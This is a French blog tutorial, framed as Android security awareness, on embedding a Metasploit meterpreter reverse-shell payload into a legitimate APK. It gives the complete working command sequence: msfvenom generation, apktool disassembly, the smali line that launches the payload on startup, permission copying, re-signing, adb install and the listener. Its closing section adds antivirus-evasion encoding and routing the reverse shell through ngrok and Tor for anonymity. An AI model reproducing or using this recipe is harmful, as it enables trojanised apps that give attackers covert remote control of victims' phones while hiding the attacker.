2 minutes
Comprendre les failles de certains APKs Android (Payload injection avec Metasploit)
Introduction
L’objectif de cet article est de sensibiliser à la sécurité sur Android. Ce n’est pas très compliqué d’injecter des virus (très) néfastes dans des APKs disponibles sur internet. Surtout n’installez pas des APKs qui ne proviennent pas des Stores Officiels d’Apple ou Google sans savoir ce que vous faites.
Installation sur Kali
apktool
mkdir ~/Dev/Android
cd $_
wget https://bitbucket.org/iBotPeaches/apktool/downloads/apktool_2.4.1.jar
mv apktool_*.jar apktool.jar
wget https://raw.githubusercontent.com/iBotPeaches/Apktool/master/scripts/linux/apktool
mv * /usr/local/bin
chmod +x /usr/local/bin/apktool.jar
chmod +x /usr/local/bin/apktool
zipalign
apt install zipalign
jarsigner
apt install openjdk-14-jdk-headless
Génération et injection du Payload et signature de l’APK
Download apk de test
Rendez-vous sur https://www.apkmirror.com/ et télécharger un APK.
Création payload
Récupérer l’IP de la machine qui exploitera la vulnérabilité ifconfig
Configurer et générer le payload qui sera injecté dans l’APK
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.17 LPORT=443 M> ~/Dev/Android/payload.apk
Vocabulaire Metasploit:
- LHOST: IP de l’attaquant
- LPORT: Port utilisé
- RHOST: IP de la victime
- RPORT: Port de la victime
Desassembler les APKs
apktool d payload.apk
apktool d mon_apk_avec_virus.apk
Ajouter le payload à l’APK
cp -R payload/smali/com/metasploit mon_apk_avec_virus/smali/com/
Ajouter la commande permettant de lancer le payload lors de l’appel à la fonction onCreate
En d’autres termes, injecter le main activity du payload dans l’APK après l’appel du onCreate.
Ligne suivante à ajouter dans le fichier mon_apk_avec_virus/smali/com/company_name/mon_apk_avec_virus/SplashScreen.smali
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
Ajouter les permissions à l’APK virus
Copier toutes les permissions identifiées par les lignes XML <uses-permission...
du fichier payload/AndroidManifest.xml
dans mon_apk_avec_virus/AndroidManifest.xml
.
Générer son propre certificat
keytool -genkey -V -keystore /root/Dev/Android/key.keystore -alias education_purpose -keyalg RSA -keysize 2048 -validity 1000
Signer son nouveau APK
jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore /root/Dev/Android/key.keystore ./mon_apk_avec_virus_signed.apk education_purpose
Zipalign
zipalign -v 4 ./mon_apk_avec_virus_signed.apk mon_apk_avec_virus.apk
Installation sur device cible
Vérifier comment installer un apk sans qu’Android soit en mode developer.
adb devices
adb install -r mon_apk_avec_virus.apk
Exploitation
msfconsole
use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set lport 443
set lhost 192.168.0.17
exploit
help
Testez par vous-même pour découvrir le fonctionnement de ces techniques et donc pour mieux vous protéger mais n’utilisez pas cette technique pour pirater autrui.
Aller plus loin
-
Utiliser un encoder afin que les antivirus ne détectent pas ces payloads
-
Utiliser un reverse shell anonyme avec Ngrok et connect-back.
Utiliser par exemple les commandes suivantes:
./ngrok tcp 9999
.
Forwarding tcp://0.tcp.ngrok.io:11811 -> localhost:9999
Puis LHOST=0.tcp.ngrok.io
et LPORT=11811
dans la commande msfvenom
précédente.
Et enfin set LHOST 0.0.0.0
et set LPORT 9999
dans meterpreter listener.
- Utiliser un reverse shell anonyme avec Ngrok et connect-back avec Tor entre les deux (ie:
socks5_proxy: "socks5://127.0.0.1:9050"
dansngrok.yml
)